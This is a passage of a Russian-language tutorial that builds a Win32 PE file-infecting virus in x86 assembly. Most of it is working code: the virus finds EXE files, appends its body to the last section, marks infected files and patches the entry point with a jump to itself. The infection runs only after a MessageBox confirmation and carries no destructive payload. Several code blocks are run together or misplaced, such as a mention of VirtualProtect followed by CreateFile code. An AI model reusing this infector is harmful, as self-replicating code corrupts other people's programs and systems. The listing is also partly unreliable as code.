Перед кодингом определимся, что наш вирус должен делать. Пусть он
будет искать все файлы с расширением EXE в текущей директории (не
включая поддиректории) и внедрять в них свой код. При этом сделаем
возможность ограничения на количество заражаемых программ за один
запуск и ограничение на размер заражаемой программы. Также сделаем так,
чтобы вирус трогал только файлы с одним из атрибутов: нормальный,
скрытый, системный. Поэтому, прежде чем тестировать вирус, нужно
установить, например, атрибут «скрытый» файлов жертв. Сама программа
вируса не будет содержать никакого вредоносного кода. При запуске
зараженной программы перед передачей непосредственно ей управления
будет выводиться MessageBox с вопросом, хотим ли мы запустить эту
программу. Если ответ положительный, выполнится код вируса, который
заразит еще несколько (сколько – сами укажем в коде) программ, лежащих
в одной директории с запущенной, а затем выполнится код самой
зараженной программы. Если же ответ пользователя будет отрицательным –
завершаем программу без заражения других близлежащих файлов и без
выполнения самого кода жертвы.
Итак, цель перед собой поставили. Осталось реализовать задачу,
учитывая все тонкости и проблемы, которые могут возникнуть при
реализации. Приступим.
Все данные, которые мы будем использовать, хранятся в нашем вирусе,
либо в глобальных переменных, либо в стеке. И, естественно, в секции
кода:
begin_data:
infect_count db 0 ; Счетчик зараженных программ
j_m_p db 0E9h save_vir_b db 5 dup(0) old_save_vir_b db 5 dup(0)
delta_off equ [ebp+18h] ; Адреса функций (см. в первой части)
;-------------------------------------------------------------------- ; Таблица хешей (см. в первой части) ;--------------------------------------------------------------------
; Режимы доступа к файлу GENERIC_READ equ 80000000h GENERIC_WRITE equ 40000000h FILE_SHARE_READ equ 1 FILE_SHARE_WRITE equ 2 OPEN_EXISTING equ 3
; Максимальный размер файла в байтах CheckVictimSize equ 0 ; Проверять размер? MaxVictimSize equ 35 * 1024
; Размер всего кода вируса в байтах Virsize equ $-start
end_data:
dd Virsize ; Размер кода в байтах dd $ - save_vir_b - 4 + 4096 - Virsize ; Смещение save_vir_b относительно ; конца 4096-байтного блока dd begin_data - start ; Смещение метки begin_data ; относительно start dd HashTable - start ; Смещение метки HashTable ; относительно start
Как видим, мы используем переменную infect_count в качестве счетчика
зараженных программ. Само же максимальное число жертв за один запуск
хранится в константе MaxVictimNumber. Переменная j_m_p содержит опкод
одноименной команды. Это нужно, чтобы при внедрении в программу
изменить первые 5 байт ее точки входа на код прыжка на тело нашего
вируса. Эти 5 байт будем хранить в переменных (точнее, в массивах)
save_vir_b и old_save_vir_b. Зачем этих переменных две? Будет ясно
далее. Но коротко скажу, что вторая - для корректной работы. Переменная
dwSectionAlignment будет использоваться для временного хранения
значения границы выравнивания при определении выровненного значения
размера файла программы-жертвы. WIN32_FIND_DATA – известная структура,
используемая при поиске файлов функциями FindFirstFile, FindNextFile.
Имя delta_off указывает на ту часть стека, где хранится
дельта-смещение, рассмотренное выше. Как раз сюда мы сохранили это
смещение первой командой push в начале кода. Константу CheckVictimSize
используем для включения/выключения проверки размера файла
программы-жертвы. Если эта константа равна нулю, то будут заражаться
файлы любого размера. Иначе - будут заражены файлы размером не более
MaxVictimSize байт. Константу Virsize используем при записи вирусного
кода в жертву.
Зачем нам последние четыре двойных слова после метки end_data? Да,
они не имеют смысла, но мы их сознательно создаем, чтобы после
компиляции нашего вируса посмотреть в каком-нибудь HEX-редакторе (буду
использовать HIEW 6.11) значения последних 32-битных двойных слов. Они
будут нам нужны при написании программы-доктора, удаляющей наш вирус из
зараженного файла.
Данные описали. Теперь пишем сам код. Поскольку мы храним наши
данные в секции кода, то нужно разрешить писать в нее, ведь секция кода
предназначена только для чтения и запуска. Сделаем это с помощью
функции
VirtualProtect:
; Открываем файл push 0 push FILE_ATTRIBUTE_NORMAL push OPEN_EXISTING push 0 push FILE_SHARE_READ OR FILE_SHARE_WRITE push GENERIC_READ OR GENERIC_WRITE mov eax, OFFSET WFD_szFileName add eax, delta_off push eax call CreateFileA inc eax jz _FindNextFileA ; Не удалось открыть. Продолжаем поиск dec eax push eax ; Сохраним hFile
Далее нам нужно обнулить то, что находится в WIN32_FIND_DATA. Зачем?
Можно, конечно, этого не делать, но тогда при просмотре кода жертвы мы
увидим, где лежал файл, когда его заражали. Нас выдаст поле
WFD_szFileName и, возможно,
WFD_szAlternateFileName.
Потом нам нужно прочитать из PE-заголовка жертвы значение
выравнивания в переменную dwSectionAlignment, чтобы потом вычислить по
действительному размеру файла его выровненное значение:
Осталось получить размеры файла (реальный и выровненный) и прочитать его содержимое в выделенную память:
; Получаем размер файла программы-жертвы push 0 push hFile call GetFileSize push eax ; Сохраняем оригинальный размер файла dwFileSize lea esi, dwSectionAlignment add esi, delta_off mov edi, [esi] mov esi, Virsize dec edi add esi, edi not edi and esi, edi add eax, esi push eax ; Сохраняем размер файла dwAlignedFileSize
; Выделяем память под размер файла dwAlignedFileSize push eax push 0 call GlobalAlloc push eax ; Сохраняем адрес распределенной памяти pAllocMem
; Проверяем, нет ли ошибки при выделении памяти test eax, eax jz _CloseFile ; Ошибка есть
; Читаем файл push 0 push esp push dwFileSize ; Количество байт для чтения push eax ; Буфер для прочитанных данных push hFile call ReadFile or eax, eax jz _CloseFile ; Прыгаем, если не удалось прочитать файл
Вот и добрались до инфицирования. Перед заражением нужно проверить,
заражен ли уже файл, заглянув в его PE-заголовок за значением
резервного поля, о котором я упоминал выше - Win32VersionValue. Запишу
туда дату рождения своей подруги в шестнадцатеричном виде:
; Далее - код инфицирования mov edi, pAllocMem ; Начало прочитанного файла add edi, [edi + 3Ch] ; VA of PE header cmp word ptr [edi], 4550h ; Проверка на валидность ... jne _Exit
add edi, 4Ch cmp dword ptr [edi], 10041986h ; Поле Reserv. Проверяем, заражен ли файл ; нашим вирусом je _CloseFile mov dword ptr [edi], 10041986h ; если нет, то ставим метку о заражении sub edi, 4Ch
Прежде, чем рассматривать код добавления в конец последней секции
кода нашего вируса, нужно уяснить, как выглядит дескриптор секции в
таблице секций
ObjectTable:
ObjectName - Имя объекта (секции);
VirtualSize - Виртуальный размер секции (в памяти);
SectionRVA - RVA секции (в памяти, относительно Image Base);
PhysicalSize - Физический размер секции (в файле);
PhysicalOffset - Физическое смещение (в файле относительно его начала);
Reserved - Зарезервировано (для OBJ);
ObjectFlags - Битовые флаги секции.
Каждый такой дескриптор описывает одну секцию. В ObjectTable
элементы идут последовательно друг за другом без промежутков, но не
обязательно в порядке возрастания PhysicalOffset и SectionRVA. Т.е.
последний элемент не всегда описывает последнюю секцию, хотя в
большинстве случаев это так (под «последней секцией» я подразумеваю
секцию, которая физически и виртуально находится в файле последней).
Здесь нам понадобится физическое смещение последней секции и смещение
ее дескриптора (из ObjectTable) - для того, чтобы пропатчить некоторые
значения (а именно: VirtualSize, PhysicalSize,
ObjectFlags).
Найдем самое большое значение PhysicalOffset из всех дескрипторов.
Дескриптор, содержащий это значение, и будет нам нужен. Так же нам
понадобится найти дескриптор, который содержит наибольшее значение
VirtualRVA. Зачем? Дело в том, что секция может быть физически в файле
последней, а вот виртуально, т.е. в памяти, она может расположиться где
угодно, например, первой. Тогда при ее расширении мы затрем последующую
секцию в памяти. Такое встречается крайне редко, но нам все равно нужно
обязательно это учесть, чтобы вирус работал даже в таких условиях.
Затем мы проверяем, принадлежат ли значения PhysicalOffset и VirtualRVA
одному дескриптору. Если да, то секция последняя и физически в файле, и
виртуально в памяти. Если нет – ошибочка вышла:
; Ищем последнюю секцию _SearchLastSection: movzx ecx, word ptr [edi + 6] ; Количество элементов (счетчик) в ; таблице секций ObjectTable movzx esi, word ptr [edi + 14h] ; Размер опционального заголовка. ; Перепрыгиваем через опциональный заголовок. Попадаем на дескриптор первой ; секции: lea esi, [edi+esi+18h] ; VA первой секции mov ebx, [esi + 14h] ; Наибольшее значение PhysicalOffset mov edx, [esi + 0Ch] ; Наибольшее значение VirtualRVA push esi ; Сохраним VA элемента с наибольшим ; VirtualRVA push esi ; Сохраним VA элемента с наибольшим ; PhysicalOffset
_SearchHighPhysOffs: ; Ищем cmp ebx, [esi + 14h] ; Если оно меньше, чем в наибольшем, ; то... ja _SearchHighVirtRVA mov ebx, [esi + 14h] ; Иначе, примем за наибольшее mov [esp], esi
_SearchHighVirtRVA: ; Аналогично, но с VirtualRVA cmp edx, [esi + 0Ch] ja _OtherElement mov edx, [esi + 0Ch] mov [esp + 4], esi
_OtherElement: add esi, 28h ; ... переходим на дескриптор ; следующей секции loop _SearchHighPhysOffs ; перебираем дескрипторы всех секций pop esi pop edi
;esi - VA элемента с наибольшим PhysicalOffset ;edi - VA элемента с наибольшим VirtualRVA ;ebx - Физическое смещение секции с наибольшим PhysicalOffset ;edx - Виртуальное смещение секции с наибольшим VirtualRVA
; Проверяем последнюю секцию на правильность _CheckOnValid: cmp esi, edi ; Проверим, принадлежат ли найденные ; смещения одному дескриптору jne _CloseFile ; Не принадлежат - выходим mov edi, pAllocMem ; Начало прочитанного файла mov edx, [esi + 10h] ; edx = физический размер последней ; секции or edx, edx ; Проверим физический размер ; последней секции jz _CloseFile ; недопустимо, чтобы был 0
Посмотрим ради интереса, что покажет нам HIEW, если мы натравим его на calc.exe (стандартный калькулятор в системе Windows):
Здесь мы видим, что последняя секция имеет имя “.rsrc” (секция
ресурсов). SectionRVA этой секции – 00016000h, PhysicalOffset =
00013600h. Она действительно последняя, т.к. SectionRVA и
PhysicalOffset предыдущих секций меньше.
Хорошо, последнюю секцию мы нашли и определили ее виртуальное и
физическое смещение. Казалось бы, мы уже можем дописать наш код в конец
этой секции, но тут есть проблема. Существуют такие программы, в
которых после последней секции идут какие-то полезные данные. Чаще
всего это самораспаковывающиеся архивы. Получается, что если мы допишем
код в конец последней секции, то мы затрем то, что было после этой
секции. В результате архив поврежден и в итоге мы получим сообщение
вроде следующего (пример для
WinRAR):
Поэтому, чтобы избежать этого, такие программы лучше не трогать:
; Теперь проверим: если физический_размер_секции + ; физическое_смещение_секции меньше, чем размер всего файла, то файл не ; трогаем, т.к. скорее всего это самораспаковывающийся архив. Мы его ; повредим, затерев данные за последней секцией mov eax, [esi + 10h] add eax, [esi + 14h] .IF eax < dwFileSize jmp _CloseFile .ENDIF
Как мы уже заметили ранее, перед передачей управления основной
программе, сначала должен выполниться вирусный код. А для этого мы
решили изменить первые 5 байт точки входа на команду jmp. Итак, нам
нужно найти точку входа в файле:
_WriteVirus: push esi push edi ; Сохраним VA жертвы mov ecx, dword ptr Virsize ; Размер записываемого кода add edi, ebx ; VA последней секции жертвы add edi, [esi + 10h] ; Теперь edi указывает на конец ; последней секции mov ebx, esi lea esi, start add esi, delta_off
; Сохраняем 5 байт save_vir_b в old_save_vir_b pusha mov ecx, 5h lea esi, save_vir_b add esi, delta_off lea edi, old_save_vir_b add edi, delta_off rep movsb popa
pusha
; формируем код прыжка на тело вируса
; Высчитываем RVA кода вируса в памяти относительно ImageBase ; RVA кода вируса = RVA последней секции + Physical Size последней секции mov eax, [ebx + 0Ch] add eax, [ebx + 10h] ; eax = RVA кода вируса в памяти относительно ImageBase
; Находим физическое смещение точки входа жертвы ; Ищем описатель секции с SectionRVA = BaseOfCode _SearchCodeSection: mov edi, pAllocMem ; Начало прочитанного файла add edi, [edi + 3Ch] ; VA of PE header movzx ecx, word ptr [edi + 6] ; Количество элементов в таблице ; секций movzx esi, word ptr [edi + 14h] ; Размер опционального заголовка. ; Перепрыгиваем через опциональный ; заголовок. Попадаем на дескриптор ; первой секции: lea esi, [edi+esi+18h] ; VA первой секции
_SearchCodeSectionLoop: mov edx, [esi + 0Ch] ; значение VirtualRVA cmp edx, [edi + 2Ch] ; сравниваем VirtualRVA с BaseOfCode je _CodeSectionFounded ; нашли add esi, 28h ; не нашли loop _SearchCodeSectionLoop ; продолжаем цикл поиска
_CodeSectionFounded: mov ebx, [esi + 14h] ; берем PhysicalOffset найденной ; секции кода add ebx, [edi + 28h] ; складываем PhysicalOffset c ; EntryPointRVA sub ebx, [edi + 2Ch] ; вычитаем BaseOfCode. Получили ; смещение точки входа ; относительно начала файла жертвы ; ebx = физическое смещение точки входа относительно начала файла жертвы
Т.е. здесь мы сравниваем значение поля BaseOfCode PE-заголовка со
значением VirtualRVA для каждой секции. Если совпадают, берем
PhysicalOffset найденной секции, складываем с виртуальным смещением
точки входа (в памяти) EntryPointRVA и вычитаем BaseOfCode. В
результате получаем физическое смещение точки входа относительно начала
файла жертвы. Осталось дописать код вируса в конец последней секции:
; Высчитываем прыжок mov ecx, [edi + 28h] add ecx, 5 sub ecx, eax xor eax, eax sub eax, ecx push eax ; результат формулы x = 0 - (y - z)
; сохраняем старые 5 бaйт начала кода жертвы mov ecx, 5h lea edi, save_vir_b add edi, delta_off mov esi, pAllocMem add esi, ebx rep movsb
; записываем джамп на код вируса mov edi, pAllocMem add edi, ebx lea esi, j_m_p add esi, delta_off movsb pop ebx mov dword ptr [edi], ebx
popa
rep movsb ; Записываем тело вируса в файл жертвы
; Восстанавливаем 5 байт save_vir_b из old_save_vir_b pusha mov ecx, 5h lea esi, old_save_vir_b add esi, delta_off lea edi, save_vir_b add edi, delta_off rep movsb popa
pop edi pop esi
Теперь нам нужно обязательно пофиксить дескриптор последней секции,
в конец которой мы дописались. Для начала нам нужно увеличить
физический и виртуальный размеры этой секции на величину вирусного
кода, после чего выровнять полученные новые значения. Поля в
дескрипторе соответственно следующие: PhysicalSize и
VirtualSize.
Если поподробнее, то PhysicalSize является размером секции (ее
инициализированной части) в файле, кратно полю FileAlign в заголовке PE
Header, должно быть меньше или равно VirtualSize. А VirtualSize -
виртуальный размер секции. Именно столько памяти будет отведено под
секцию. Если VirtualSize превышает PhysicalSize, то разница заполняется
нулями, так определяются секции неинициализированных данных.
А что такое выравнивание? Это округление выравниваемого значения в
бОльшую сторону до кратности с некоторым значением. Назовем его
выравнивающим фактором.
В PE-заголовке есть поля, по значениям которых (по выравнивающим
факторам) выравниваются PhysicalSize и VirtualSize по следующей
формуле: